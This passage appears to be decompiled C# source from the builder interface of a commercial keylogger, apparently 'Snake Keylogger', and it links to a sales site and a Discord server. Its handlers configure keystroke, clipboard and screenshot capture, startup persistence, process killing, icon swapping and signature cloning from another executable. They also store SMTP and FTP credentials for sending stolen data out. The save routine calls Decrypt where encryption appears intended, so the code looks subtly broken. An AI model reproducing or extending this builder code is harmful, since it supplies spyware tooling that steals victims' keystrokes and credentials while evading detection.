private void copystartupc_CheckedChanged(object sender, bool isChecked)
{
this.copystartupcombo.Enabled = this.copystartupc.Checked;
}
// Token: 0x060000A6 RID: 166 RVA: 0x00007E54 File Offset: 0x00006054
private void processkillerc_CheckedChanged(object sender, bool isChecked)
{
this.processkillertxt.Enabled = this.processkillerc.Checked;
}
// Token: 0x060000A7 RID: 167 RVA: 0x00007E98 File Offset: 0x00006098
private void openwebc_CheckedChanged(object sender, bool isChecked)
{
this.openwebtxt.Enabled = this.openwebc.Checked;
}
// Token: 0x060000A8 RID: 168 RVA: 0x00007EDC File Offset: 0x000060DC
private void addiconc_CheckedChanged(object sender, bool isChecked)
{
this.addiconbtn.Enabled = this.addicontxt.Enabled = this.addiconc.Checked;
}
// Token: 0x060000A9 RID: 169 RVA: 0x00007F38 File Offset: 0x00006138
private void clipboardc_CheckedChanged(object sender, bool isChecked)
{
this.clipnum.Visible = this.clipboardc.Checked;
}
// Token: 0x060000AA RID: 170 RVA: 0x00007F7C File Offset: 0x0000617C
private void keypadc_CheckedChanged(object sender, bool isChecked) { this.keypadnum.Visible = this.keypadc.Checked; }
// Token: 0x060000AB RID: 171 RVA: 0x00007FC0 File Offset: 0x000061C0
private void screenshotc_CheckedChanged(object sender, bool isChecked) { this.screennum.Visible = this.screenshotc.Checked; }
// Token: 0x060000AC RID: 172 RVA: 0x00008004 File Offset: 0x00006204
private void assemblyc_CheckedChanged(object sender, bool isChecked)
{
N4.Enabled = N3.Enabled = N2.Enabled = N1.Enabled = T5.Enabled = T4.Enabled = T3.Enabled = T2.Enabled =this.T1.Enabled =this.assemblyc.Checked;
}
// Token: 0x060000AD RID: 173 RVA: 0x00008118 File Offset: 0x00006318
private void messageboxc_CheckedChanged(object sender, bool isChecked) {this.msgbtn.Enabled =this.msgcombo.Enabled =this.msgbodytxt.Enabled =this.Titletxt.Enabled =this.messageboxc.Checked; }
// Token: 0x060000AE RID: 174 RVA: 0x00002331 File Offset: 0x00000531
private void MetroButton14_Click(object sender, EventArgs e)
{
}
// Token: 0x060000AF RID: 175 RVA: 0x0000238C File Offset: 0x0000058C
private void MetroButton13_Click(object sender, EventArgs e) { Process.Start("https://discord.gg/CcVZTka8u6"); }
// Token: 0x060000B0 RID: 176 RVA: 0x0000239C File Offset: 0x0000059C
private void MetroButton12_Click(object sender, EventArgs e) { Process.Start("snakekeylogger.store"); }
// Token: 0x060000B1 RID: 177 RVA: 0x000081A8 File Offset: 0x000063A8
private void switchpasssmtp_CheckedChanged(object sender, bool isChecked) {this.smtppasstxt.UseSystemPasswordChar =this.switchpasssmtp.Checked; }
// Token: 0x060000B2 RID: 178 RVA: 0x000081EC File Offset: 0x000063EC
private void switchpassftp_CheckedChanged(object sender, bool isChecked) {this.ftppasstxt.UseSystemPasswordChar =this.switchpassftp.Checked; }
// Token: 0x060000B3 RID: 179 RVA: 0x00008230 File Offset: 0x00006430
private void smtpcombo_SelectedIndexChanged(object sender, EventArgs e)
{
switch (smtpcombo.Text)
{
case "Gmail":
this.smtpservertxt.Text = "smtp.gmail.com";
this.serverporttxt.Text = "587";
break;
case "Yandex":
this.smtpservertxt.Text = "smtp.yandex.ru";
this.serverporttxt.Text = "587";
break;
case "Custom..":
this.smtpservertxt.Text = "";
this.serverporttxt.Text = "";
break;
}
}
// Token: 0x060000B4 RID: 180 RVA: 0x00008324 File Offset: 0x00006524
private void selectdigitalbtn_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "Executable Files (*.exe)|*.exe",
ShowHelp = true
};
openFileDialog.InitialDirectory = Assembly.GetExecutingAssembly().Location;
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
this.digitaltxt.Text = openFileDialog.FileName;
this.BytePublicer = Form1.Signatures.DigitalSignatures(File.ReadAllBytes(openFileDialog.FileName), Form1.SIGNNNature);
}
}
// Token: 0x060000B5 RID: 181 RVA: 0x000083A4 File Offset: 0x000065A4
private void addiconbtn_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "Icon Files (*.ico)|*.ico",
ShowHelp = true
};
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
this.addicontxt.Text = openFileDialog.FileName;
this.ICOPB.Image = Icon.ExtractAssociatedIcon(this.addicontxt.Text).ToBitmap();
FileInfo fileInfo = new FileInfo(openFileDialog.FileName);
}
}
// Token: 0x060000B6 RID: 182 RVA: 0x00002331 File Offset: 0x00000531
private void Form1_Resize(object sender, EventArgs e)
{
}
// Token: 0x060000B7 RID: 183 RVA: 0x00008420 File Offset: 0x00006620
private void smtploadbtn_Click(object sender, EventArgs e)
{
string text = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\SK";
bool flag = File.Exists(text + "\\SMTPConfig.ini");
if (flag)
{
StreamReader streamReader = new StreamReader(text + "\\SMTPConfig.ini");
this.smtpreceivetxt.Text =this.Decrypt(streamReader.ReadLine());
this.smtpsendtxt.Text =this.Decrypt(streamReader.ReadLine());
this.smtppasstxt.Text =this.Decrypt(streamReader.ReadLine());
this.smtpservertxt.Text =this.Decrypt(streamReader.ReadLine());
this.serverporttxt.Text =this.Decrypt(streamReader.ReadLine());
streamReader.Close();
Console.ReadLine();
Interaction.MsgBox(" SMTP Loaded.", MsgBoxStyle.OkOnly, null);
}
else { Interaction.MsgBox(" Can't Find SMTP Config.", MsgBoxStyle.OkOnly, null); }
}
// Token: 0x060000B8 RID: 184 RVA: 0x00008528 File Offset: 0x00006728
private void smtpsavebtn_Click(object sender, EventArgs e)
{
if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\SK"))
{
Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\SK");
}
string text = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\SK";
try { File.Delete(text + "\\SMTPConfig.ini"); }
catch { }
try
{
StreamWriter streamWriter = new StreamWriter(text + "\\SMTPConfig.ini");
streamWriter.WriteLine(this.Decrypt(this.smtpreceivetxt.Text));
streamWriter.WriteLine(this.Decrypt(this.smtpsendtxt.Text));
streamWriter.WriteLine(this.Decrypt(this.smtppasstxt.Text));
streamWriter.WriteLine(this.Decrypt(this.smtpservertxt.Text));
streamWriter.WriteLine(this.Decrypt(this.serverporttxt.Text));
streamWriter.Close();
Interaction.MsgBox(" SMTP Config Saved.", MsgBoxStyle.OkOnly, null);
}
catch (Exception ex2) { Interaction.MsgBox("Problem: " + ex2.Message, MsgBoxStyle.OkOnly, null); }
}
// Token: 0x060000B9 RID: 185 RVA: 0x000086F0 File Offset: 0x000068F0
private void msgbtn_Click(object sender, EventArgs e)
{
switch (msgcombo.Text)